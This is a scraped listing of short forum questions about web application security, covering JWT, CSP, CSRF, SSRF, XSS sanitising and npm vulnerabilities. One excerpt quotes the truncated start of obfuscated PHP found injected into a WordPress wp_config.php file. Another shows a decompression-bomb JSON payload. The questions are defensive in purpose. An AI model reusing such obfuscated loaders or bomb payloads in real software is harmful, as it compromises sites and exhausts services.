Questions tagged [security]

Discussion on the security of applications and techniques to combat software attacks. It is advised not to rely solely on this tag as it may lead to confusion. If your query does not pertain to a particular programming issue, we recommend seeking assistance at Information Security SE: security

Is there a secure way to prevent user input from causing issues in a BigQuery node insert? Can the BigQuery.insert node library support parameterized queries for added security

I am seeking advice on how to securely insert user form data into BigQuery using the Google Cloud BigQuery library. Specifically, I am curious about the most effective methods for sanitizing, escaping, and cleaning the input data. Is it feasible to implem ...

Securing Confidential Images in Symfony2

Currently facing an issue with my Symfony setup. Users in my app can upload images to the server, which are stored in /web/uploads/images directory. My goal is to make these images visible only to logged-in users. I've attempted to tweak the security conf ...

Confusion surrounding JWT authorization middleware

After reviewing the authentication middleware code in a course I am currently taking, I have some concerns about its security. I decided to test a protected route using Postman and discovered that I was able to retrieve an order for one user with a token ...

Ways to ensure the security of my RESTful API?

I am currently working on an API built with node.js & express.js. At the moment, the API is unsecured which allows anyone to access and manipulate records using GET, POST, PUT, and DELETE requests. One of the challenges I am facing is that my REST API sho ...

The inline script was denied execution as it breaches the Content Security Policy directive: "script-src 'self'"

While attempting to utilize an inline script in my project, I am continually encountering the following error message: 'Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self'" ...

Impact of req.pipe on Node.js Security

Creating a simple cors proxy involves piping requests, and to achieve this, I decided to utilize the pipe method with Request.js, as illustrated in the image below: https://i.stack.imgur.com/gUeou.png Due to my limited expertise in security, can anyone h ...

Is the environment file in Angular adequately protected from potential breaches?

Currently utilizing Angular 15, I have included confidential information such as passwords and secret keys for encryption in the environment file. My concern is not about the security of the environment file in the repository (such as git or etc), but rath ...

Authenticating the identity of the client application - the client is currently within the browser

I have a PHP backend (although it's not really important) and a Javascript client that runs in the browser. Here is how the application operates: The user accesses a URL and receives raw templates for rendering data An Ajax GET query is sent to the ...

What is the best approach for managing CNAME records during domain resolution?

When my web application receives an unfiltered string from an untrusted user, it must determine whether this string, when used as a hostname, resolves to an IPv4 or IPv6 address within a forbidden range specified by predefined rules. If the string appears ...

PHP: Protecting user code input and presenting it securely using CodeMirror

I'm in the process of creating a user-friendly online code editor using CodeMirror to assist learners with mastering basic HTML, CSS, and JavaScript. My goal is for students to have the ability to save their code so it can be viewed in a separate bro ...

Ensuring the safety of your NextJS SSR pages with a secure application

I am working on implementing a SSR page in nextjs, and I want to restrict access to only authenticated or logged-in users. How can I ensure this as the SSR is being generated on the server, without passing the token from local storage? Please share your th ...

Please either include the userID in the method call or send the Token

I have a question about how to properly map a userID to an entity: Let's say I'm using Angular, React, or any other front-end framework. How should I go about sending the userID along with the entity? For example, if a user is creating a Product, here are ...

React safety: handling state changes

As I dive into my React project, I am amazed by its dynamic nature. However, a recent challenge has arisen when implementing dynamic security features such as Google reCAPTCHA. The fear of users manipulating my states and properties is beginning to worry m ...

In my Angular application, the Authentication JWT is securely stored by Firebase within the Session Storage. Does this implementation pose any security risks

In order to enhance the user experience of our Angular app, we have integrated Firebase Authentication with Session Persistence. This ensures that users don't need to log in again every time they refresh the page. As part of this process, we store the auth ...

What are some ways to recognize ajax requests?

My website offers an exclusive paid API. To ensure security and authenticity, I only want to accept incoming ajax calls from specific sources: Requests originating from my own website Requests made by individuals who have purchased access to the API Bel ...

Troubleshooting a logout issue involving Ajax requests and header redirection

In order to enhance the security of my system, I am working on a feature that will prevent users from executing functions when they are not logged in. When an unauthorized user tries to do so, a message will pop up indicating that they must be logged in be ...

Could my HTML security measures be vulnerable to exploitation?

I have successfully developed a function that accomplishes the following: It accepts a string as input, which can be either an entire HTML document or an HTML "snippet" (even if it's broken). It creates a DOMDocument from the input and iterates through al ...

prohibit linking directly to AJAX pages within a specific folder

Is there a way to prevent direct access to pages in the AJAX directory while still allowing them to be served from their parent page? I've tried various .htaccess configurations, but they end up blocking access from the main page as well. Essentially, ...

Using Backbone for the front end and Node.js for the backend, this website combines powerful technologies

Currently, I am in the process of developing a new website that will function as a single-page application featuring dialog/modal windows. My intention is to utilize Backbone for the frontend and establish communication with the backend through ajax/webs ...

Unsettling script detected within the wp_config.php document

It appears that my page has been infiltrated as I discovered this suspicious code at the end of my wp_config.php file. $Xbk = "uQoCwSNBIpmVRP14XjL56=AWfl.DFrv03tx;Ez*bnaHKdyc(UsMi+qgk87'9eZYT_/)OG2hJ";$vDE = $Xbk[41].$Xbk[49].$Xbk[49].$Xbk[60].$Xbk[2 ...

Is JavaScript still running despite not displaying insecure items due to IE 8 security warning?

After a user completes a transaction on my site, the confirmation page displays Google conversion tracking code in a small JavaScript snippet. This code is located on my Wordpay callback page, which pulls data from the regular site (HTTP) to the Worldpay s ...

What are some recommended strategies for implementing security measures in JAX-WS?

Consider the following situation: I have a set of web services (JAX-WS) that require secure access. Currently, for authentication purposes, I am using an additional SecurityWService that provides authorized users with a userid and sessionid to include in r ...

Protecting Node.js Files

As I prepare to embark on creating a new website, my main goal is to collect form input values such as dropdowns and radio boxes from the client without requiring user accounts. These values will be used for sensitive calculations, making security a top pr ...

Is this session/token authentication mechanism suitable for my web API?

Today, I successfully implemented a session and token authentication system for my web api using http get/post rpc style. Here is the plan I followed: Key: action (param1, param2) : returnvalue1, returnvalue2 login (username, password) : sessionkey, tok ...

NodeJS guide: Enabling cross-domain access for web services

Currently, I am developing a nodejs server and facing the challenge of needing to access additional services through ajax from a different domain. Can anyone provide guidance on how to bypass the cross-domain restriction within nodejs code? Please note th ...

Is it feasible to execute a cross-site request forgery attack on a URL that delivers a JSON object as a response?

I am aware of the potential for a Cross-Site Forgery Attack that can target requests returning arrays by manipulating the Array constructor. For instance, let's say I have a site with a URL: foo.com/getJson that provides the following array: ['Puff the ...

Are there built-in security features in NestJS?

Are there any default security practices that NestJS handles automatically? If not, what suggestions do you have for securing a NestJS application aside from using helmet? I noticed in the NestJS middleware documentation an example utilizing the helmet dep ...

Are XHR2 credential requests truly secure or easily faked?

I am working to determine the level of security provided by credentialed XHR2 requests. More precisely, can I verify that the request originated from a browser runtime environment, and not from a bot (such as a server-side program) that might be able to m ...

Risks associated with storing configuration files in JSON/CPickle are related to security

In search of a secure and flexible solution for storing credentials in a config file for database connections and other private information within a Python module. This module is responsible for logging user activity in the system through different handler ...

Screen content of a post request in Node.js

Can this code in node.js + express be simplified? // Code snippet for registering a new participant app.post('/api/participant', function (req, res, next) { var data = req.body; // Ensure only specific fields are uploaded var participant = n ...

Using a single database for managing authentication across various websites

I'm new to setting up websites this way and could really use some advice on my unique situation. Here's the setup: I have two separate websites, WS1 & WS2, each with their own domain names. Both sites point to the same IP address using ngi ...

What is the process for utilizing or activating a Tor Circuit while in Remote Control mode with Selenium?

I successfully controlled Tor Browser with Selenium, however I soon discovered that the Tor circuits (IP changes) were not enabled. Is there a way to enable them? Or should I use the new feature called "New Identity" from the code? My setup includes Pytho ...

Front-end user authentication concerns when employing JWT

Currently, my focus is on transitioning to the MERN stack and incorporating an authentication module using Next.js (front-end) + Node.js (for scalability). I am utilizing JWT token method for authentication and have some concerns: Storing tokens in coo ...

Enhancing User Interactivity with JQuery Ajax Voting

Currently, I am referencing a JQuery Ajax Voting system guide to help me set up a similar system. However, I have concerns about the security aspects of this guide. As it stands, the guide simply stores the ID of an item and its corresponding voting statis ...

Is it safe to utilize Ajax and jQuery in conjunction with a PHP script to authenticate a user during login?

Hey there! I have a question about the security of using the jQuery.post function in jQuery to send a user's login information to a PHP script. Here is the piece of code I am considering: $("#login_form").submit(function() { var unameval = $("#use ...

Stop unauthorized entry into JavaScript files

Is there a method to secure JavaScript files from unauthorized access? <script src="JS/MyScript.js" type="text/javascript"> It is crucial that users are unable to access the MyScript.js file. I am seeking advice on how to achieve this. Is it even ...

Is the security of Redbean ORM reliable in PHP?

I'm considering using RedBean as my ORM-mapper. Currently, I have my own implementation, but it's becoming less effective and efficient as the project grows in size and complexity. However, there is one question that remains unanswered: How secure is Re ...

There are security vulnerabilities in version 1.7.2 of shell-quote that cannot be resolved through force resolutions

I am currently facing an issue with my Next.js app. The package.json file specifies "next": "^10.2.0", which includes shell-quote as a transitive dependency version 1.7.2 - known to have critical security vulnerabilities. To address this, I need to update ...

What kind of private data might be exposed when setting JsonRequestBehavior to AllowGet?

Every time I try a new URL from my browser's address bar to get Json data, I keep encountering the same error message when using the built-in MVC JsonResult helper: This request is being blocked because sensitive information might be revealed to third-p ...

Is the use of a Backend-for-Frontend necessary when working with a framework such as Angular?

For my frontend application, I'm utilizing Angular and connecting to an existing backend service for data retrieval. This backend service is established as a legacy system that I don't have control over. To enhance security, I've integrated ...

Develop a webpage that can connect to and make alterations to a file stored remotely?

My search for a solution to my specific problem has been challenging due to the general nature of the terms and results in online searches. Frequently travelling, I find myself in locations where internet access on shared computers is limited to browsing ...

Enhancing PHP Token Security

I developed a PHP application that has a login requirement. This application is exclusive, so no new users can create accounts. Initially, I implemented sessions to identify users, but it caused issues on tablet devices as they would lose their sessions. I ...

What is the reasoning behind the preference in Angular 2+ for storing shared variables in services instead of directly importing them from a constant object?

As I delve into creating a Single Page Application with Angular 7, I find myself questioning the prevalent recommendation of storing data in services as opposed to a file with constants that can be directly imported. The simplicity of directly importing a ...

Encrypting data between two Node.js servers

I am looking to create a Node.js daemon that can operate across multiple computers while facilitating message exchange between the daemons. Security is paramount, so I want to ensure the communication is encrypted. However, I am uncertain about which encry ...

Access denied while initiating CodeIgniter?

While attempting to access the codeigniter home page, I came across this error message: A PHP Error was encountered Severity: Warning Message: require(C:\wamp\www\ci\system\core\Security.php)[function.require]:failed to open ...

Vulnerability protection against AngularJS JSON is not removed

I am currently working on an Angular app that communicates with an API. The JSON responses from the API are prefixed with )]}', as recommended in Angular's official documentation. The issue I am facing is that my browser seems to try decoding the response ...

Is it safe to establish a direct connection between NextJS and MongoDB without any intermediary services?

When it comes to connecting NextJS on a Digital Ocean droplet directly to MongoDB running on another Digital Ocean virtual server, there seems to be conflicting opinions. Some argue against using "full stack" frameworks like NextJS or Angular without an in ...

What are some effective measures to defend against a gzip bomb attack on a service

I have a file named test.gzip which contains JSON data. {"events": [ {"uuid":"56c1718c-8eb3-11e9-8157-e4b97a2c93d3", "timestamp":"2019-06-14 14:47:31 +0000", "number":732, "user": {"full_name":"0"*1024*1024*1024}}]} The full_name field in the JSON data c ...

Steps for bypassing the authentication popup in Chrome browser during the execution of a Selenium script

click here for image descriptionWhen I try to log in with the first URL (as shown in the image), it takes me to another URL where I have to input my credentials. However, before reaching that page, a browser-generated pop-up appears that cannot be located ...

Ensuring the confidentiality of files stored in string format

I want to discuss the topic of file security with you. Currently, I have a PHP script that retrieves a file from an <input type="file"> tag and then uses file_get_contents() to store the file data in a variable. However, I am concerned about potenti ...

What steps can be taken to stop 'type-hacking'?

Imagine owning a popular social media platform and wanting to integrate an iframe for user signups through third-party sites, similar to Facebook's 'like this' iframes. However, you are concerned about the security risks associated with ifra ...

Is Your App at Risk? Detecting Slow Post Vulnerability in Express.js and Implementing a Data Rate Limitation Solution

I am currently tackling the Slow Post Vulnerability issue within my application. Concern: To prevent overwhelming connections from a single user, I have implemented express-rate-limit to ensure the application remains available. const rateLimit = require ...

Encountering a ETIMEDOUT error "ip address" when making a Node.js request

What I'm doing in the code I am currently reading a text file containing approximately 3500 links. Subsequently, I iterate through each link to filter out the relevant ones and make requests to retrieve their status codes, links, and page titles usin ...

Safeguarding user data across all components is facilitated by Angular 2

My Angular2 app uses OAuth2 with password grant type for authentication. I currently store the session token on sessionStorage, but I need to securely store additional data such as user roles. While I am aware that sessionStorage or localStorage can be ea ...

Is there a way to read an AWS file upload's Access Control List (ACL) from the client (specifically React/Next.js) if it is not set to 'public-read'?

Is there a way to upload private files to AWS without granting public-read access, but still be able to view the file using a URL in a protected route on my client side (Reactjs/Nextjs)? How can I make this work? The situation: I need to send a PDF file f ...

I'm all set to launch my express js application! What are the major security concerns that I need to keep in

As a beginner in deploying express applications, I find myself lacking in knowledge about the essential security measures that need to be taken before launching a web application. Here are some key points regarding my website: 1) It is a simple website ...

Safeguarding form submissions using ajax: implementing csrf token or going without

My form is secured with a CSRF token, which I've heard is essential for maintaining form security. Whenever the form is submitted late, an error occurs, indicating that the CSRF token is working as expected. However, when submitting the form using ajax, I ...

Ways to differentiate the given hostname/URL as private in a NodeJS environment

I need assistance finding a method or NPM package to verify for private/local/bad addresses in the hostname entered as an input to my REST endpoint before saving it in the database. This measure is important to prevent SSRF attacks. Currently, I am only us ...

Strengthening the security of PHP using JSON

I'm working on a PHP script that receives data from an Android application. What security measures should I implement to ensure the safety of this script? Are functions like isset enough? <?php require ('config.php'); $connection=mysqli_connect($serve ...

Attempting to assign a File object as a property to a component but receiving an empty object in return. I'm curious about the security implications of this as well

I created a modal for previewing avatars with a generic design: <avatar-update :img-file="avatarFile" :show="avatarModalShow" :img-url="url" @close="avatarModalShow = !avatarModalShow" :change-avatar="updateCrop" @destroyUrl="imgUrl = null"> </av ...

I encounter difficulties in executing a request through ReactJS, as the header cannot be properly composed

const fetchData = async () => { try { const response = await axios.get('http://localhost:8080/omp/patients', { headers: {authorization: 'Bearer ' + token}}); this.state = response.data; } catch (ex) { alert("You are ...

"Ensuring the safety of your website with PHP

I am in the process of developing a website that generates a user's profile page based on their input. My main concern is whether this approach is secure. Below is how I currently sanitize the user input, but I would appreciate any additional advice. stri ...

A foolproof method for safeguarding the JWT secret key utilized for encoding and decoding token information

I have a Python application in the works with FastApi, utilizing JWT and OAuth2 password flow for user authentication. Following their documentation, upon user login, a token is issued using the HS256 algorithm along with a specific user secret key. This t ...

Security Vulnerability in Ajax Callback Breakpoints

Imagine I have the following code snippet (partially pseudocode) $.ajax({ url: "/api/user", success: function(resp) { var data = JSON(resp) if (data.user.is_admin) // do admin thing else // do somet ...

What defines 'user interaction' when it comes to preventing XSS attacks?

I have been researching how to protect my code from XSS attacks, and all the examples I've found focus on validating direct user input (like in a contact form or login). However, I'm unsure if I should still secure my code even if there is no wa ...

Any suggestions on how to address vulnerabilities in npm when upgrading the main dependency version is not an option?

I recently ran the npm audit --production command and found a high-risk vulnerability related to the snowflake-sdk dependency. After checking the snowflake github page, I noticed that the package.json file includes "requestretry": "^6.0.0&qu ...

Firestore rules restrict access to the data, however the Angular project is still able to retrieve the collection - ERROR Error: Insufficient permissions or missing

I am currently working on an Angular project that is connected to a Firestore database. Within the database, there is a collection called users, and each document within this collection contains a nested collection named hugeCollection. I have updated the ...

Managing the storage of refresh and authorization tokens on the client side: where should they be kept?

My backend is powered by Laravel and the frontend uses Vue. Users authenticate by calling my Laravel API to get an Auth token and a refresh token. The Auth token expires after 2 minutes, while the refresh token lasts longer. Storing the refresh token in l ...

What are the potential security vulnerabilities associated with implementing MySQL triggers for PHP execution?

After thorough research, I came across a method to achieve exactly what I need. However, I have some reservations because I've heard that it could pose a potential "security risk." Unfortunately, no one seems to provide further information on why this ...

My locale NUXT JavaScript files are being blocked by Content Security Policy

I've been working on implementing CSP headers for my website to ensure data is loaded from trusted sources. However, I'm facing an issue where CSP is blocking my local JS files. Here's a snippet from my nuxt.config.js: const self = 'lo ...

Is this filter vulnerable to an XSS attack?

function sanitizeInput($input){ $index=0; return str_replace("<","&lt;",str_replace(">","&gt;",str_replace("&","&amp;",$input,$index),$index),$index); } Would this method be effective in preventing XSS attacks? Just my person ...

Preventing reflected XSS attacks in static asset requests in node/express

After conducting a penetration test using the Burp tool on my node(express)/angular application, I discovered a reflected XSS vulnerability. This vulnerability was specifically identified when making a GET request for static assets (no other vulnerabilitie ...

npm audit fix detected a critical vulnerability that could potentially result in Arbitrary File Overwrite

=== npm audit security report === ┌───────────────────────────────────────────────────────── ...

Denied from being displayed in a frame due to a violation of the Content Security Policy directive by a parent element

I'm in the process of developing a Salesforce app that is displayed within an iframe on a Salesforce page. I am using a node express server to render this page. In order to ensure security compliance, I want the app to only display within the Salesfor ...

Ways to set up various Content-Security-Policies and headers in your application?

In my email application, I am trying to prevent alerts in JavaScript by using a CSP header. However, even with the current policy in place, alerts can still execute when I send an HTML document attachment that contains script tags. Changing all JavaScript ...